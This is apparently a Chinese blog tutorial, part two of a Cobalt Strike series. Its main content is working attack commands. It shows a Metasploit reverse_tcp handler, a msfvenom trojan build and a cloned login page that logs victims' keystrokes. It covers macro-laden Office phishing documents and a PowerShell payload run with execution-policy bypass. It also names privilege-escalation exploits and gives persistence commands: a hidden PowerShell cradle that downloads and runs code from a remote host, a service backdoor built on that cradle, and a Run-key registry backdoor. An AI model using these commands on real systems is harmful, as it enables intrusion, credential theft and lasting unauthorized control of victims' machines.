0x00 前言

前一章介绍了Cobalt Strike的基本用法,本章接着介绍如何攻击、提权、维权等。

0x01 与Metasploit联动

Cobalt Strike → Metasploit

msf开启监听模式

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.183.147
set lport 4444
run -j


创建两个监听器,一个使用windows/beacon_http/reverse_http来监听肉鸡,另一个使用windows/foreign/reverse_http来将获取到的控制权传给msf(注意:这里的端口要与msf监听的端口一致)

利用HTML Application来生成链接,使得目标设备上线,右击选择spwan,选择msf监听器,点击Choose

返回msf查看,成功获取meterpreter会话(此方法获取到的会话并不稳定,具体原因未知)

Metasploit→ Cobalt Strike

当然这里也可以通过用msfvenom生成木马,再由CS发布

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.183.147 lport=4444 -f exe -o msf.exe



此时再次查看msf发现获取到会话

至于后面怎么提权可以参考meterpreter使用教程

0x02 钓鱼攻击

点击Attacks->Web Driver-by->Clone site,输入想要克隆的网址,这里需要勾选上Log keystrokes来记录输入

然后在肉鸡上访问攻击机IP,访问克隆的网页

当受害者输入了用户名密码,CS在日志里会有记录

我们发现即使受害者输入正确的账号密码系统也会提示用户名密码错误,然后会自动跳转到正确的登录界面,事实上我们还可以实现主动跳转到任意界面。
为了防止没有主动跳转到正确的页面我们可以选择主动跳转到正确页面
点击 Attacks->Web Driver-by->System Profiler

当我们访问192.168.183.147:81时会自动跳转到登录页面
在选择克隆站点时,点击attack右边的…选择我们创建端口为81的profiler

当我们我们访问80端口点击确认后会跳转到正确的登录界面

0x03 宏钓鱼

点击Attacks->Packages->MS Office Macro
选择相应的监听器,点击Generate


上图告诉我们操作步骤,先打开Word或Excel,转到视图->宏->查看宏,创建一个宏名随意的宏,将复制的宏代码粘贴进去,关闭宏窗口,另存为启用宏的文档。
点击Copy Macro复制宏代码,选择 Project->Microsoft Word对象->ThisDocument粘贴宏代码,关闭并另存为。


当你打开启用宏的文档,CS便会接收到返回的会话

0x04 shellcode

CS可以生成很多类型的shellcode,如c、c#、java、python、powershell、ruby、raw等
点击Attacks->package->paylaod generator
这里以powershell为例

将生成的payload.ps1复制到目标系统并执行以下命令,返回CS查看得到返回的会话

powershell –exec bypass –Command "& {Import-Module 'C:\payload.ps1'}"

0x05 提权

elevate提权

Cobalt Strike内嵌了三个提权exp:ms14-058、uac-dll、uac-token-duplication
ms14-058是个老提权漏洞利用方式,可利用于Windows 7系统。
uac-dll和uac-token-duplication是Bypass UAC攻击,是由本地管理员运行payload从中等权限往最高权限提升的过程,适用于windows 7和windows 10。
我们可以通过导入cna文件来扩展漏洞库,项目地址为ElevateKit
点击Cobalt Strike->Script Manager来导入cna文件

选中目标机器右击选择Access->Elevate,选择相应的漏洞即可提权

0x06 权限维持

服务后门

点击Attacks->web driver-by ->script web delivery

点击launch生成如下命令

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.183.148:80/a'))"

在目标设备执行以上命令会拿到普通用户的权限,这里需要提权
打开beacon shell并执行命令

shell sc create "name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.183.148:80/a'))\""


查看受害机器服务,发现名为name的服务项创建成功

不过此时该服务启动类型为手动,我们需要将其设置为自动

shell sc config "name" start= auto


设置服务的描述字符串

shell sc description "name" "description"



这样一个service后门就设置成功了,即使目标机器重启后依旧可以拿到控制权限。

注册表后门

点击Attacks->packages->windows executable生成一个exe木马并上传到目标机器
上传可以通过Explore>File Browser

当然这里也可以选择将exe设置为服务后门,方法同上

shell sc create "exe" binpath= "C:\Users\abc\Desktop\artifact.exe"

下面我们来演示一下如何设置注册表后门

 shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "keyname" /t REG_SZ /d "C:\Users\abc\Desktop\artifact.exe" /f



这样一个注册表自启动后门已经设置成功了

Cobalt Strike使用教程二的更多相关文章

  1. Cobalt Strike系列教程第五章:截图与浏览器代理

    Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容: Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...

  2. Cobalt Strike系列教程第二章:Beacon详解

    上周更新了Cobalt Strike系列教程第一章:简介与安装,文章发布后,深受大家的喜爱,遂将该系列教程的其他章节与大家分享,提升更多实用技能! 第二章:Beacon详解 一.Beacon命令 大家 ...

  3. Cobalt Strike系列教程第四章:文件/进程管理与键盘记录

    Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容: Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...

  4. Cobalt Strike系列教程第三章:菜单栏与视图

    通过前两章的学习,我们掌握了Cobalt Strike教程的基础知识,及软件的安装使用. Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...

  5. Cobalt Strike系列教程第七章:提权与横向移动

    Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容: Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...

  6. Cobalt Strike系列教程第六章:安装扩展

    Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容: Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...

  7. Cobalt Strike系列教程第一章:简介与安装

    Cobalt Strike是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等多种功能.同时,Cobalt St ...

  8. 渗透测试神器Cobalt Strike使用教程

    Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器.Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队 ...

  9. Cobalt Strike学习笔记

    Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透测试工具,集成了端口转发.服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java ...

  10. Cobalt Strike DNS通讯实例

    一.域名设置 如果没有域名,可以参考另一篇博客,申请Freenom免费域名,并使用DNSPod解析 链接:https://www.cnblogs.com/ssooking/p/6364639.html ...

随机推荐

  1. 如何在SpringBoot项目中兼容Jersey和SpringMVC框架?

    文章目录 Jersey框架介绍 常用的注解: SpringBoot中SpringMVC兼容Jersey 整合Jersey REST(Representational State Transfer)表象 ...

  2. MASAMinimalAPI:创建MinimalAPI项目

    项目准备 1.创建项目,选择webapi.取消勾选使用控制器.创建minimal Api项目 2.创建成功后MinimalAPI的接口直接写在program.cs中 3.引入nuget包:Masa.C ...

  3. 2022-07-24:以下go语言代码输出什么?A:[]int{};B:[]int(nil);C:panic;D:编译错误。 package main import ( “fmt“ ) f

    2022-07-24:以下go语言代码输出什么?A:[]int{}:B:[]int(nil):C:panic:D:编译错误. package main import ( "fmt" ...

  4. 2021-08-21:给定一个数组arr,长度为N > 1,从中间切一刀,保证左部分和右部分都有数字,一共有N-1种切法,如此多的切法中,每一种都有:绝对值(左部分最大值 – 右部分最大值)。返回最大

    2021-08-21:给定一个数组arr,长度为N > 1,从中间切一刀,保证左部分和右部分都有数字,一共有N-1种切法,如此多的切法中,每一种都有:绝对值(左部分最大值 – 右部分最大值).返 ...

  5. npm安装报错

    npm ERR! request to https://registry.cnpmjs.org/element-ui failed, reason: Hostname/IP does not matc ...

  6. 【汇编】DOS系统功能调用(INT 21H)

    前言 最近又听了听汇编的课程,发现代码里的MOV xxxxx INT 21H,老师都是一句话带过,而不讲讲其中的原因(也可能前面讲了我没有听QAQ). 顺便夸一下老师,老师懒省事录的视频画质已经成功从 ...

  7. 2023.5.25 Linux系统Bash初识

    1.Linux系统终端概述2.Linux系统Bash管理2.1.Bash特性:命令补全2.2.Bash特性:命令快捷键2.3.Bash特性:命令别名2.4.Bash特性:命令流程2.5.Bash特性: ...

  8. 【最佳实践】如何设计 RESTful API ?

    良好的 API 设计是一个经常被提及的话题,特别是对于那些试图完善其 API 策略的团队来说.一个设计良好的 API 的好处包括:改进开发者体验.更快速地编写文档以及更高效地推广你的 API.但是,到 ...

  9. 信息收集_网络扫描_nmap

    信息收集_网络扫描nmap 目标说明 -iL <inputname> (从列表或文件输入) -iR <hostnum> (随机选择生成目标数量) --exclude <h ...

  10. k8s实战案例之部署Zookeeper集群

    1.Zookeeper简介 zookeeper是一个开源的分布式协调服务,由知名互联网公司Yahoo创建,它是Chubby的开源实现:换句话讲,zookeeper是一个典型的分布式数据一致性解决方案, ...